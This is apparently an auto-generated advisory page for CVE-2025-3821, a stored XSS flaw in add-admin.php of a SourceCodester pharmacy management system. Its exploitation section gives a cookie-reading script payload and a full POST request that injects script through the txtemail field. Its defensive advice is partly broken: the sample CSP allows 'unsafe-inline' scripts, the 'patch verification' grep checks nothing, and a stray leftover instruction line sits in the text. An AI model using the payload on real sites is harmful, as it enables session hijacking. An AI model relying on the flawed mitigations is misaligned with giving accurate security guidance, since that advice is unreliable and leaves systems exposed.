SourceCodester Web-based Pharmacy Product Management System 10, Cross-Site Scripting (XSS), CVE-2025-3821 (Medium)

Listen to this Post

How CVE-2025-3821 Works

The vulnerability exists in `add-admin.php` due to improper sanitization of user-supplied inputs (txtpassword, txtfullname, and txtemail). Attackers can inject malicious JavaScript payloads through these parameters, leading to stored XSS. When an administrator views the compromised admin entry, the script executes in their browser session, potentially allowing session hijacking, data theft, or unauthorized actions. The attack is remotely exploitable with low complexity but requires high privileges (admin access) for successful exploitation.

DailyCVE Form

Platform: SourceCodester
Version: 1.0
Vulnerability: Stored XSS
Severity: Medium
Date: 04/24/2025

What Undercode Say:

Exploitation

1. Craft malicious payload:

<script>alert(document.cookie)</script>

2. Exploit via `add-admin.php`:

POST /add-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
txtfullname=XSS&[email protected]<script>alert(1)</script>&txtpassword=hacked

3. Trigger execution: Admin views the admin list, triggering the payload.

Protection

1. Input sanitization:

$email = htmlspecialchars($_POST['txtemail'], ENT_QUOTES, 'UTF-8');

2. Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

3. Patch verification:

grep -r "add-admin.php" /var/www/html/

Analytics

  • CVSS: 4.8 (AV:N/AC:L/PR:H/UI:P)
  • Exploitability: Low (requires admin interaction)
  • Attack Vector: Remote

Detection

1. Log analysis:

tail -f /var/log/apache2/access.log | grep "add-admin.php"

2. IDS rule:

alert http any any -> any any (msg:"XSS Attempt"; content:"<script>"; http_client_body; sid:10001;)

Mitigation

  • Disable unused input fields.
  • Implement CSRF tokens.
  • Update to latest version.

No additional commentary beyond the specified rules.

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top